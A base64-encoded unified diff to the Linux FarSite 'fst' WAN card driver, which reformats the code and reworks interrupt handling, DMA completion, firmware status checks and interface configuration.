KwkJZnN0X3JlY292ZXJfcnhfZXJyb3IoY2FyZCwgcG9ydCwgZG1hYml0cywgcnhwLCBsZW4pOwor CQlyZXR1cm47CisJfQogCi0gICAgICAgICAgICAgICAgLyogRGlzY2FyZCB0aGUgdGVybWluYWwg YnVmZmVyICovCi0gICAgICAgICAgICAgICAgaWYgKCAhICggZG1hYml0cyAmIERNQV9PV04gKSkK LSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICBGU1RfV1JCICggY2Fy ZCwgcnhEZXNjclJpbmdbcGldW3J4cF0uYml0cywgRE1BX09XTiApOwotICAgICAgICAgICAgICAg ICAgICAgICAgaWYgKCArK3J4cCA+PSBOVU1fUlhfQlVGRkVSICkKLSAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgcnhwID0gMDsKLSAgICAgICAgICAgICAgICB9Ci0gICAgICAgICAgICAg ICAgcG9ydC0+cnhwb3MgPSByeHA7Ci0gICAgICAgICAgICAgICAgcmV0dXJuOwotICAgICAgICB9 Ci0KLSAgICAgICAgLyogQWxsb2NhdGUgU0tCICovCi0gICAgICAgIGlmICgoIHNrYiA9IGRldl9h bGxvY19za2IgKCBsZW4gKSkgPT0gTlVMTCApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBk YmcgKCBEQkdfUlgsImludHJfcng6IGNhbid0IGFsbG9jYXRlIGJ1ZmZlclxuIik7Ci0KLSAgICAg ICAgICAgICAgICBzdGF0cy0+cnhfZHJvcHBlZCsrOwotCi0gICAgICAgICAgICAgICAgLyogUmV0 dXJuIGRlc2NyaXB0b3IgdG8gY2FyZCAqLwotICAgICAgICAgICAgICAgIEZTVF9XUkIgKCBjYXJk LCByeERlc2NyUmluZ1twaV1bcnhwXS5iaXRzLCBETUFfT1dOICk7Ci0KLSAgICAgICAgICAgICAg ICBpZiAoICsrcnhwID49IE5VTV9SWF9CVUZGRVIgKQotICAgICAgICAgICAgICAgICAgICAgICAg cG9ydC0+cnhwb3MgPSAwOwotICAgICAgICAgICAgICAgIGVsc2UKLSAgICAgICAgICAgICAgICAg ICAgICAgIHBvcnQtPnJ4cG9zID0gcnhwOwotICAgICAgICAgICAgICAgIHJldHVybjsKLSAgICAg ICAgfQotCi0gICAgICAgIG1lbWNweV9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AgIHN0cnVj dCBmc3RfY2FyZF9pbmZvICpjYXJkOwotICAgICAgICBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9y dDsKLSAgICAgICAgaW50IHJkaWR4OyAgICAgICAgICAgICAgICAgICAgICAvKiBFdmVudCBidWZm ZXIgaW5kaWNlcyAqLwotICAgICAgICBpbnQgd3JpZHg7Ci0gICAgICAgIGludCBldmVudDsgICAg ICAgICAgICAgICAgICAgICAgLyogQWN0dWFsIGV2ZW50IGZvciBwcm9jZXNzaW5nICovCi0gICAg ICAgIGludCBwaTsKLQotICAgICAgICBpZiAoKCBjYXJkID0gZGV2X2lkICkgPT0gTlVMTCApCi0g ICAgICAgIHsKLSAgICAgICAgICAgICAgICBkYmcgKCBEQkdfSU5UUiwiaW50cjogc3B1cmlvdXMg JWRcbiIsIGlycSApOwotICAgICAgICAgICAgICAgIHJldHVybiBJUlFfTk9ORTsKLSAgICAgICAg fQotCi0gICAgICAgIGRiZyAoIERCR19JTlRSLCJpbnRyOiAlZCAlcFxuIiwgaXJxLCBjYXJkICk7 Ci0KLSAgICAgICAgc3Bpbl9sb2NrICggJmNhcmQtPmNhcmRfbG9jayApOwotCi0gICAgICAgIC8q IENsZWFyIGFuZCByZXByaW1lIHRoZSBpbnRlcnJ1cHQgc291cmNlICovCi0gICAgICAgIGZzdF9j bGVhcl9pbnRyICggY2FyZCApOwotCi0gICAgICAgIC8qIFNldCB0aGUgc29mdHdhcmUgYWNrbm93 bGVkZ2UgKi8KLSAgICAgICAgRlNUX1dSQiAoIGNhcmQsIGludGVycnVwdEhhbmRzaGFrZSwgMHhF RSApOwotCi0gICAgICAgIC8qIERyYWluIHRoZSBldmVudCBxdWV1ZSAqLwotICAgICAgICByZGlk eCA9IEZTVF9SREIgKCBjYXJkLCBpbnRlcnJ1cHRFdmVudC5yZGluZGV4ICk7Ci0gICAgICAgIHdy aWR4ID0gRlNUX1JEQiAoIGNhcmQsIGludGVycnVwdEV2ZW50LndyaW5kZXggKTsKLSAgICAgICAg d2hpbGUgKCByZGlkeCAhPSB3cmlkeCApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBldmVu dCA9IEZTVF9SREIgKCBjYXJkLCBpbnRlcnJ1cHRFdmVudC5ldm50YnVmZltyZGlkeF0pOwotCi0g ICAgICAgICAgICAgICAgcG9ydCA9ICZjYXJkLT5wb3J0c1tldmVudCAmIDB4MDNdOwotCi0gICAg ICAgICAgICAgICAgZGJnICggREJHX0lOVFIsImludHI6ICV4XG4iLCBldmVudCApOwotCi0gICAg ICAgICAgICAgICAgc3dpdGNoICggZXZlbnQgKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAg ICAgICAgICBjYXNlIENUTEFfQ0hHOgotICAgICAgICAgICAgICAgIGNhc2UgQ1RMQl9DSEc6Ci0g ICAgICAgICAgICAgICAgY2FzZSBDVExDX0NIRzoKLSAgICAgICAgICAgICAgICBjYXNlIENUTERf Q0hHOgotICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCBwb3J0LT5ydW4gKQotICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICBmc3RfaW50cl9jdGxjaGcgKCBjYXJkLCBwb3J0ICk7Ci0g ICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKLQotICAgICAgICAgICAgICAgIGNhc2UgQUJU QV9TRU5UOgotICAgICAgICAgICAgICAgIGNhc2UgQUJUQl9TRU5UOgotICAgICAgICAgICAgICAg IGNhc2UgQUJUQ19TRU5UOgotICAgICAgICAgICAgICAgIGNhc2UgQUJURF9TRU5UOgotICAgICAg ICAgICAgICAgICAgICAgICAgZGJnICggREJHX1RYLCJBYm9ydCBjb21wbGV0ZSBwb3J0ICVkXG4i LCBldmVudCAmIDB4MDMgKTsKLSAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOworCXN0cnVj dCBmc3RfY2FyZF9pbmZvICpjYXJkOworCXN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0OworCWlu dCByZGlkeDsJCS8qIEV2ZW50IGJ1ZmZlciBpbmRpY2VzICovCisJaW50IHdyaWR4OworCWludCBl dmVudDsJCS8qIEFjdHVhbCBldmVudCBmb3IgcHJvY2Vzc2luZyAqLworCXVuc2lnbmVkIGludCBk bWFfaW50Y3NyID0gMDsKKwl1bnNpZ25lZCBpbnQgZG9fY2FyZF9pbnRlcnJ1cHQ7CisJdW5zaWdu ZWQgaW50IGludF9yZXRyeV9jb3VudDsKKworCWlmICgoY2FyZCA9IGRldl9pZCkgPT0gTlVMTCkg eworCQlkYmcoREJHX0lOVFIsICJpbnRyOiBzcHVyaW91cyAlZFxuIiwgaXJxKTsKKwkJcmV0dXJu IElSUV9OT05FOworCX0KIAotICAgICAgICAgICAgICAgIGNhc2UgVFhBX1VOREY6Ci0gICAgICAg ICAgICAgICAgY2FzZSBUWEJfVU5ERjoKLSAgICAgICAgICAgICAgICBjYXNlIFRYQ19VTkRGOgot ICAgICAgICAgICAgICAgIGNhc2UgVFhEX1VOREY6Ci0gICAgICAgICAgICAgICAgICAgICAgICAv KiBEaWZmaWN1bHQgdG8gc2VlIGhvdyB3ZSdkIGdldCB0aGlzIGdpdmVuIHRoYXQgd2UKLSAgICAg ICAgICAgICAgICAgICAgICAgICAqIGFsd2F5cyBsb2FkIHVwIHRoZSBlbnRpcmUgcGFja2V0IGZv ciBETUEuCi0gICAgICAgICAgICAgICAgICAgICAgICAgKi8KLSAgICAgICAgICAgICAgICAgICAg ICAgIGRiZyAoIERCR19UWCwiVHggdW5kZXJmbG93IHBvcnQgJWRcbiIsIGV2ZW50ICYgMHgwMyAp OwotICAgICAgICAgICAgICAgICAgICAgICAgaGRsY19zdGF0cyhwb3J0X3RvX2Rldihwb3J0KSkt PnR4X2Vycm9ycysrOwotICAgICAgICAgICAgICAgICAgICAgICAgaGRsY19zdGF0cyhwb3J0X3Rv X2Rldihwb3J0KSktPnR4X2ZpZm9fZXJyb3JzKys7Ci0gICAgICAgICAgICAgICAgICAgICAgICBi cmVhazsKKwkvKgorCSAqIENoZWNrIHRvIHNlZSBpZiB0aGUgaW50ZXJydXB0IHdhcyBmb3IgdGhp cyBjYXJkCisJICogcmV0dXJuIGlmIG5vdAorCSAqIE5vdGUgdGhhdCB0aGUgY2FsbCB0byBjbGVh ciB0aGUgaW50ZXJydXB0IGlzIGltcG9ydGFudAorCSAqLworCWRiZyhEQkdfSU5UUiwgImludHI6 ICVkICVwXG4iLCBpcnEsIGNhcmQpOworCWlmIChjYXJkLT5zdGF0ZSAhPSBGU1RfUlVOTklORykg eworCQlwcmludGtfZXJyCisJCSAgICAoIkludGVycnVwdCByZWNlaXZlZCBmb3IgY2FyZCAlZCBp biBhIG5vbiBydW5uaW5nIHN0YXRlICglZClcbiIsCisJCSAgICAgY2FyZC0+Y2FyZF9ubywgY2Fy ZC0+c3RhdGUpOworCisJCS8qIAorCQkgKiBJdCBpcyBwb3NzaWJsZSB0byByZWFsbHkgYmUgcnVu bmluZywgaS5lLiB3ZSBoYXZlIHJlLWxvYWRlZAorCQkgKiBhIHJ1bm5pbmcgY2FyZAorCQkgKiBD bGVhciBhbmQgcmVwcmltZSB0aGUgaW50ZXJydXB0IHNvdXJjZSAKKwkJICovCisJCWZzdF9jbGVh cl9pbnRyKGNhcmQpOworCQlyZXR1cm4gSVJRX0hBTkRMRUQ7CisJfQogCi0gICAgICAgICAgICAg ICAgY2FzZSBJTklUX0NQTFQ6Ci0gICAgICAgICAgICAgICAgICAgICAgICBkYmcgKCBEQkdfSU5J VCwiQ2FyZCBpbml0IE9LIGludHJcbiIpOwotICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7 CisJLyogQ2xlYXIgYW5kIHJlcHJpbWUgdGhlIGludGVycnVwdCBzb3VyY2UgKi8KKwlmc3RfY2xl YXJfaW50cihjYXJkKTsKIAotICAgICAgICAgICAgICAgIGNhc2UgSU5JVF9GQUlMOgotICAgICAg ICAgICAgICAgICAgICAgICAgZGJnICggREJHX0lOSVQsIkNhcmQgaW5pdCBGQUlMRUQgaW50clxu Iik7Ci0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7CisJCQlkb19jYXJkX2ludGVycnVwdCArPSBGU1RfUlhfRE1BX0lOVDsK KwkJfQorCQlpZiAoZG1hX2ludGNzciAmIDB4MDA0MDAwMDApIHsKKwkJCS8qCisJCQkgKiBETUEg Q2hhbm5lbCAxIChUeCB0cmFuc2ZlciBjb21wbGV0ZSkKKwkJCSAqLworCQkJZGJnKERCR19UWCwg IkRNQSBUeCB4ZmVyIGNvbXBsZXRlXG4iKTsKKwkJCW91dGIoMHg4LCBjYXJkLT5wY2lfY29uZiAr IERNQUNTUjEpOworCQkJZnN0X3R4X2RtYV9jb21wbGV0ZShjYXJkLCBjYXJkLT5kbWFfcG9ydF90 eCwKKwkJCQkJICAgIGNhcmQtPmRtYV9sZW5fdHgsIGNhcmQtPmRtYV90eHBvcyk7CisJCQljYXJk LT5kbWF0eF9pbl9wcm9ncmVzcyA9IDA7CisJCQlkb19jYXJkX2ludGVycnVwdCArPSBGU1RfVFhf RE1BX0lOVDsKKwkJfQorCX0KIAotICAgICAgICAgICAgICAgIGRlZmF1bHQ6Ci0gICAgICAgICAg ICAgICAgICAgICAgICBwcmludGtfZXJyICgiaW50cjogdW5rbm93biBjYXJkIGV2ZW50IGNvZGUu IGlnbm9yZWRcbiIpOwotICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7Ci0gICAgICAgICAg ICAgICAgfQorCS8qCisJICogSGF2ZSB3ZSBiZWVuIG1pc3NpbmcgSW50ZXJydXB0cworCSAqLwor CWludF9yZXRyeV9jb3VudCA9IEZTVF9SREwoY2FyZCwgaW50ZXJydXB0UmV0cnlDb3VudCk7CisJ aWYgKGludF9yZXRyeV9jb3VudCkgeworCQlkYmcoREJHX0FTUywgIkNhcmQgJWQgaW50X3JldHJ5 X2NvdW50IGlzICAlZFxuIiwKKwkJICAgIGNhcmQtPmNhcmRfbm8sIGludF9yZXRyeV9jb3VudCk7 CisJCUZTVF9XUkwoY2FyZCwgaW50ZXJydXB0UmV0cnlDb3VudCwgMCk7CisJfQogCi0gICAgICAg ICAgICAgICAgLyogQnVtcCBhbmQgd3JhcCB0aGUgaW5kZXggKi8KLSAgICAgICAgICAgICAgICBp ZiAoICsrcmRpZHggPj0gTUFYX0NJUkJVRkYgKQotICAgICAgICAgICAgICAgICAgICAgICAgcmRp ZHggPSAwOwotICAgICAgICB9Ci0gICAgICAgIEZTVF9XUkIgKCBjYXJkLCBpbnRlcnJ1cHRFdmVu dC5yZGluZGV4LCByZGlkeCApOwotCi0gICAgICAgIGZvciAoIHBpID0gMCwgcG9ydCA9IGNhcmQt PnBvcnRzIDsgcGkgPCBjYXJkLT5ucG9ydHMgOyBwaSsrLCBwb3J0KysgKQotICAgICAgICB7Ci0g ICAgICAgICAgICAgICAgaWYgKCAhIHBvcnQtPnJ1biApCi0gICAgICAgICAgICAgICAgICAgICAg ICBjb250aW51ZTsKLQotICAgICAgICAgICAgICAgIC8qIENoZWNrIGZvciByeCBjb21wbGV0aW9u cyAqLwotICAgICAgICAgICAgICAgIHdoaWxlICggISAoIEZTVF9SREIgKCBjYXJkLCByeERlc2Ny UmluZ1twaV1bcG9ydC0+cnhwb3NdLmJpdHMgKQotICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICYgRE1BX09XTiApKQotICAgICAg ICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIGZzdF9pbnRyX3J4ICggY2FyZCwg cG9ydCApOwotICAgICAgICAgICAgICAgIH0KKwlpZiAoIWRvX2NhcmRfaW50ZXJydXB0KSB7CisJ CXJldHVybiBJUlFfSEFORExFRDsKKwl9CiAKLSAgICAgICAgICAgICAgICAvKiBDaGVjayBmb3Ig VHggY29tcGxldGlvbnMgKi8KLSAgICAgICAgICAgICAgICB3aGlsZSAoIHBvcnQtPnR4Y250ID4g MCAmJiAhICggRlNUX1JEQiAoIGNhcmQsCi0gICAgICAgICAgICAgICAgICAgICAgICB0eERlc2Ny UmluZ1twaV1bcG9ydC0+dHhpcG9zXS5iaXRzICkgJiBETUFfT1dOICkpCi0gICAgICAgICAgICAg ICAgewotICAgICAgICAgICAgICAgICAgICAgICAgLS1wb3J0LT50eGNudDsKLSAgICAgICAgICAg ICAgICAgICAgICAgIGlmICggKytwb3J0LT50eGlwb3MgPj0gTlVNX1RYX0JVRkZFUiApCi0gICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvcnQtPnR4aXBvcyA9IDA7Ci0gICAgICAgICAg ICAgICAgICAgICAgICBuZXRpZl93YWtlX3F1ZXVlICggcG9ydF90b19kZXYgKCBwb3J0ICkpOwot ICAgICAgICAgICAgICAgIH0KLSAgICAgICAgfQorCS8qIFNjZWhkdWxlIHRoZSBib3R0b20gaGFs ZiBvZiB0aGUgSVNSICovCisJZnN0X3Ffd29ya19pdGVtKCZmc3Rfd29ya19pbnRxLCBjYXJkLT5j YXJkX25vKTsKKwl0YXNrbGV0X3NjaGVkdWxlKCZmc3RfaW50X3Rhc2spOworCisJLyogRHJhaW4g dGhlIGV2ZW50IHF1ZXVlICovCisJcmRpZHggPSBGU1RfUkRCKGNhcmQsIGludGVycnVwdEV2ZW50 LnJkaW5kZXgpICYgMHgxZjsKKwl3cmlkeCA9IEZTVF9SREIoY2FyZCwgaW50ZXJydXB0RXZlbnQu d3JpbmRleCkgJiAweDFmOworCXdoaWxlIChyZGlkeCAhPSB3cmlkeCkgeworCQlldmVudCA9IEZT VF9SREIoY2FyZCwgaW50ZXJydXB0RXZlbnQuZXZudGJ1ZmZbcmRpZHhdKTsKKwkJcG9ydCA9ICZj YXJkLT5wb3J0c1tldmVudCAmIDB4MDNdOworCisJCWRiZyhEQkdfSU5UUiwgIlByb2Nlc3Npbmcg SW50ZXJydXB0IGV2ZW50OiAleFxuIiwgZXZlbnQpOworCisJCXN3aXRjaCAoZXZlbnQpIHsKKwkJ Y2FzZSBURTFfQUxNQToKKwkJCWRiZyhEQkdfSU5UUiwgIlRFMSBBbGFybSBpbnRyXG4iKTsKKwkJ CWlm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zdHJ1Y3R1 cmUgdmVyc2lvbiBhbmQgZW5kIG1hcmtlciAqLwotICAgICAgICBpZiAoIEZTVF9SRFcgKCBjYXJk LCBzbWNWZXJzaW9uICkgIT0gU01DX1ZFUlNJT04gKQotICAgICAgICB7Ci0gICAgICAgICAgICAg ICAgcHJpbnRrX2VyciAoIkJhZCBzaGFyZWQgbWVtb3J5IHZlcnNpb24gJWQgZXhwZWN0ZWQgJWRc biIsCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZTVF9SRFcgKCBjYXJkLCBzbWNW ZXJzaW9uICksIFNNQ19WRVJTSU9OICk7Ci0gICAgICAgICAgICAgICAgY2FyZC0+c3RhdGUgPSBG U1RfQkFEVkVSU0lPTjsKLSAgICAgICAgICAgICAgICByZXR1cm47Ci0gICAgICAgIH0KLSAgICAg ICAgaWYgKCBGU1RfUkRMICggY2FyZCwgZW5kT2ZTbWNTaWduYXR1cmUgKSAhPSBFTkRfU0lHICkK LSAgICAgICAgewotICAgICAgICAgICAgICAgIHByaW50a19lcnIgKCJNaXNzaW5nIHNoYXJlZCBt ZW1vcnkgc2lnbmF0dXJlXG4iKTsKLSAgICAgICAgICAgICAgICBjYXJkLT5zdGF0ZSA9IEZTVF9C QURWRVJTSU9OOwotICAgICAgICAgICAgICAgIHJldHVybjsKLSAgICAgICAgfQotICAgICAgICAv KiBGaXJtd2FyZSBzdGF0dXMgZmxhZywgMHgwMCA9IGluaXRpYWxpc2luZywgMHgwMSA9IE9LLCAw eEZGID0gZmFpbCAqLwotICAgICAgICBpZiAoKCBpID0gRlNUX1JEQiAoIGNhcmQsIHRhc2tTdGF0 dXMgKSkgPT0gMHgwMSApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBjYXJkLT5zdGF0ZSA9 IEZTVF9SVU5OSU5HOwotICAgICAgICB9Ci0gICAgICAgIGVsc2UgaWYgKCBpID09IDB4RkYgKQot ICAgICAgICB7Ci0gICAgICAgICAgICAgICAgcHJpbnRrX2VyciAoIkZpcm13YXJlIGluaXRpYWxp c2F0aW9uIGZhaWxlZC4gQ2FyZCBoYWx0ZWRcbiIpOwotICAgICAgICAgICAgICAgIGNhcmQtPnN0 YXRlID0gRlNUX0hBTFRFRDsKLSAgICAgICAgICAgICAgICByZXR1cm47Ci0gICAgICAgIH0KLSAg ICAgICAgZWxzZSBpZiAoIGkgIT0gMHgwMCApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBw cmludGtfZXJyICgiVW5rbm93biBmaXJtd2FyZSBzdGF0dXMgMHgleFxuIiwgaSApOwotICAgICAg ICAgICAgICAgIGNhcmQtPnN0YXRlID0gRlNUX0hBTFRFRDsKLSAgICAgICAgICAgICAgICByZXR1 cm47Ci0gICAgICAgIH0KLQotICAgICAgICAvKiBGaW5hbGx5IGNoZWNrIHRoZSBudW1iZXIgb2Yg cG9ydHMgcmVwb3J0ZWQgYnkgZmlybXdhcmUgYWdhaW5zdCB0aGUKLSAgICAgICAgICogbnVtYmVy IHdlIGFzc3VtZWQgYXQgY2FyZCBkZXRlY3Rpb24uIFNob3VsZCBuZXZlciBoYXBwZW4gd2l0aAot ICAgICAgICAgKiBleGlzdGluZyBmaXJtd2FyZSBldGMgc28gd2UganVzdCByZXBvcnQgaXQgZm9y IHRoZSBtb21lbnQuCi0gICAgICAgICAqLwotICAgICAgICBpZiAoIEZTVF9SREwgKCBjYXJkLCBu dW1iZXJPZlBvcnRzICkgIT0gY2FyZC0+bnBvcnRzICkKLSAgICAgICAgewotICAgICAgICAgICAg ICAgIHByaW50a193YXJuICgiUG9ydCBjb3VudCBtaXNtYXRjaC4iCi0gICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICIgRmlybXdhcmUgdGhpbmtzICVkIHdlIHNheSAlZFxuIiwKLSAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgRlNUX1JETCAoIGNhcmQsIG51bWJlck9mUG9ydHMg KSwgY2FyZC0+bnBvcnRzICk7Ci0gICAgICAgIH0KLX0KKwkvKiB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gICBpZiAoIGluZm8tPnZhbGlkICYgRlNUVkFMX0RFQlVHICkK LSAgICAgICAgICAgICAgICBmc3RfZGVidWdfbWFzayA9IGluZm8tPmRlYnVnOworCWlmIChpbmZv LT52YWxpZCAmIEZTVFZBTF9ERUJVRykgeworCQlmc3RfZGVidWdfbWFzayA9IGluZm8tPmRlYnVn OworCX0KICNlbmRpZgogCi0gICAgICAgIHJldHVybiBlcnI7CisJcmV0dXJuIGVycjsKIH0KIAog c3RhdGljIHZvaWQKLWdhdGhlcl9jb25mX2luZm8gKCBzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2Fy ZCwgc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQsCi0gICAgICAgICAgICAgICAgc3RydWN0IGZz dGlvY19pbmZvICppbmZvICkKK2dhdGhlcl9jb25mX2luZm8oc3RydWN0IGZzdF9jYXJkX2luZm8g KmNhcmQsIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0LAorCQkgc3RydWN0IGZzdGlvY19pbmZv ICppbmZvKQogewotICAgICAgICBpbnQgaTsKKwlpbnQgaTsKIAotICAgICAgICBtZW1zZXQgKCBp bmZvLCAwLCBzaXplb2YgKCBzdHJ1Y3QgZnN0aW9jX2luZm8gKSk7CisJbWVtc2V0KGluZm8sIDAs IHNpemVvZiAoc3RydWN0IGZzdGlvY19pbmZvKSk7CiAKLSAgICAgICAgaSA9IHBvcnQtPmluZGV4 OwotICAgICAgICBpbmZvLT5ucG9ydHMgPSBjYXJkLT5ucG9ydHM7Ci0gICAgICAgIGluZm8tPnR5 cGUgICA9IGNhcmQtPnR5cGU7Ci0gICAgICAgIGluZm8tPnN0YXRlICA9IGNhcmQtPnN0YXRlOwot ICAgICAgICBpbmZvLT5wcm90byAgPSBGU1RfR0VOX0hETEM7Ci0gICAgICAgIGluZm8tPmluZGV4 ICA9IGk7CisJaSA9IHBvcnQtPmluZGV4OworCWluZm8tPmtlcm5lbFZlcnNpb24gPSBMSU5VWF9W RVJT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JkX2luZm8gKmNhcmQs IHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0LAotICAgICAgICAgICAgICAgIHN0cnVjdCBpZnJl cSAqaWZyICkKK2ZzdF9zZXRfaWZhY2Uoc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQsIHN0cnVj dCBmc3RfcG9ydF9pbmZvICpwb3J0LAorCSAgICAgIHN0cnVjdCBpZnJlcSAqaWZyKQogewotICAg ICAgICBzeW5jX3NlcmlhbF9zZXR0aW5ncyBzeW5jOwotICAgICAgICBpbnQgaTsKKwlzeW5jX3Nl cmlhbF9zZXR0aW5ncyBzeW5jOworCWludCBpOworCisJaWYgKGlmci0+aWZyX3NldHRpbmdzLnNp emUgIT0gc2l6ZW9mIChzeW5jKSkgeworCQlyZXR1cm4gLUVOT01FTTsKKwl9CisKKwlpZiAoY29w eV9mcm9tX3VzZXIKKwkgICAgKCZzeW5jLCBpZnItPmlmcl9zZXR0aW5ncy5pZnNfaWZzdS5zeW5j LCBzaXplb2YgKHN5bmMpKSkgeworCQlyZXR1cm4gLUVGQVVMVDsKKwl9CiAKLSAgICAgICAgaWYg KGNvcHlfZnJvbV91c2VyICgmc3luYywgaWZyLT5pZnJfc2V0dGluZ3MuaWZzX2lmc3Uuc3luYywK LQkJCSAgICBzaXplb2YgKHN5bmMpKSkKLSAgICAgICAgICAgICAgICByZXR1cm4gLUVGQVVMVDsK LQotICAgICAgICBpZiAoIHN5bmMubG9vcGJhY2sgKQotICAgICAgICAgICAgICAgIHJldHVybiAt RUlOVkFMOwotCi0gICAgICAgIGkgPSBwb3J0LT5pbmRleDsKLQotICAgICAgICBzd2l0Y2ggKGlm ci0+aWZyX3NldHRpbmdzLnR5cGUpCi0gICAgICAgIHsKLSAgICAgICAgY2FzZSBJRl9JRkFDRV9W MzU6Ci0gICAgICAgICAgICAgICAgRlNUX1dSVyAoIGNhcmQsIHBvcnRDb25maWdbaV0ubGluZUlu dGVyZmFjZSwgVjM1ICk7Ci0gICAgICAgICAgICAgICAgcG9ydC0+aHdpZiA9IFYzNTsKLSAgICAg ICAgICAgICAgICBicmVhazsKLQotICAgICAgICBjYXNlIElGX0lGQUNFX1YyNDoKLSAgICAgICAg ICAgICAgICBGU1RfV1JXICggY2FyZCwgcG9ydENvbmZpZ1tpXS5saW5lSW50ZXJmYWNlLCBWMjQg KTsKLSAgICAgICAgICAgICAgICBwb3J0LT5od2lmID0gVjI0OwotICAgICAgICAgICAgICAgIGJy ZWFrOwotCi0gICAgICAgIGNhc2UgSUZfSUZBQ0VfWDIxOgotICAgICAgICAgICAgICAgIEZTVF9X UlcgKCBjYXJkLCBwb3J0Q29uZmlnW2ldLmxpbmVJbnRlcmZhY2UsIFgyMSApOwotICAgICAgICAg ICAgICAgIHBvcnQtPmh3aWYgPSBYMjE7Ci0gICAgICAgICAgICAgICAgYnJlYWs7Ci0KLSAgICAg ICAgY2FzZSBJRl9JRkFDRV9TWU5DX1NFUklBTDoKLSAgICAgICAgICAgICAgICBicmVhazsKLQot ICAgICAgICBkZWZhdWx0OgotICAgICAgICAgICAgICAgIHJldHVybiAtRUlOVkFMOwotICAgICAg ICB9Ci0KLSAgICAgICAgc3dpdGNoICggc3luYy5jbG9ja190eXBlICkKLSAgICAgICAgewotICAg ICAgICBjYXNlIENMT0NLX0VYVDoKLSAgICAgICAgICAgICAgICBGU1RfV1JCICggY2FyZCwgcG9y dENvbmZpZ1tpXS5pbnRlcm5hbENsb2NrLCBFWFRDTEsgKTsKLSAgICAgICAgICAgICAgICBicmVh azsKLQotICAgICAgICBjYXNlIENMT0NLX0lOVDoKLSAgICAgICAgICAgICAgICBGU1RfV1JCICgg Y2FyZCwgcG9ydENvbmZpZ1tpXS5pbnRlcm5hbENsb2NrLCBJTlRDTEsgKTsKLSAgICAgICAgICAg ICAgICBicmVhazsKLQotICAgICAgICBkZWZhdWx0OgotICAgICAgICAgICAgICAgIHJldHVybiAt RUlOVkFMOwotICAgICAgICB9Ci0gICAgICAgIEZTVF9XUkwgKC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CwiaW9jdGw6ICV4LCAlcFxuIiwgY21kLCBpZnIt Pmlmcl9kYXRhICk7Ci0KLSAgICAgICAgcG9ydCA9IGRldl90b19wb3J0ICggZGV2ICk7Ci0gICAg ICAgIGNhcmQgPSBwb3J0LT5jYXJkOwotCi0gICAgICAgIGlmICggIWNhcGFibGUgKCBDQVBfTkVU X0FETUlOICkpCi0gICAgICAgICAgICAgICAgcmV0dXJuIC1FUEVSTTsKLQotICAgICAgICBzd2l0 Y2ggKCBjbWQgKQotICAgICAgICB7Ci0gICAgICAgIGNhc2UgRlNUQ1BVUkVTRVQ6Ci0gICAgICAg ICAgICAgICAgZnN0X2NwdXJlc2V0ICggY2FyZCApOwotICAgICAgICAgICAgICAgIGNhcmQtPnN0 YXRlID0gRlNUX1JFU0VUOwotICAgICAgICAgICAgICAgIHJldHVybiAwOwotCi0gICAgICAgIGNh c2UgRlNUQ1BVUkVMRUFTRToKLSAgICAgICAgICAgICAgICBmc3RfY3B1cmVsZWFzZSAoIGNhcmQg KTsKLSAgICAgICAgICAgICAgICBjYXJkLT5zdGF0ZSA9IEZTVF9TVEFSVElORzsKLSAgICAgICAg ICAgICAgICByZXR1cm4gMDsKLQotICAgICAgICBjYXNlIEZTVFdSSVRFOiAgICAgICAgICAgICAg ICAgIC8qIENvZGUgd3JpdGUgKGRvd25sb2FkKSAqLwotCi0gICAgICAgICAgICAgICAgLyogRmly c3QgY29weSBpbiB0aGUgaGVhZGVyIHdpdGggdGhlIGxlbmd0aCBhbmQgb2Zmc2V0IG9mIGRhdGEK LSAgICAgICAgICAgICAgICAgKiB0byB3cml0ZQotICAgICAgICAgICAgICAgICAqLwotICAgICAg ICAgICAgICAgIGlmICggaWZyLT5pZnJfZGF0YSA9PSBOVUxMICkKLSAgICAgICAgICAgICAgICB7 Ci0gICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gLUVJTlZBTDsKLSAgICAgICAgICAgICAg ICB9Ci0gICAgICAgICAgICAgICAgaWYgKCBjb3B5X2Zyb21fdXNlciAoICZ3cnRoZHIsIGlmci0+ aWZyX2RhdGEsCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2l6ZW9m ICggc3RydWN0IGZzdGlvY193cml0ZSApKSkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAg ICAgICAgICAgICAgICByZXR1cm4gLUVGQVVMVDsKLSAgICAgICAgICAgICAgICB9CisJc3RydWN0 IGZzdF9jYXJkX2luZm8gKmNhcmQ7CisJc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQ7CisJc3Ry dWN0IGZzdGlvY193cml0ZSB3cnRoZHI7CisJc3RydWN0IGZzdGlvY19pbmZvIGluZm87CisJdW5z aWduZWQgbG9uZyBmbGFnczsKIAotICAgICAgICAgICAgICAgIC8qIFNhbml0eSBjaGVjayB0aGUg cGFyYW1ldGVycy4gV2UgZG9uJ3Qgc3VwcG9ydCBwYXJ0aWFsIHdyaXRlcwotICAgICAgICAgICAg 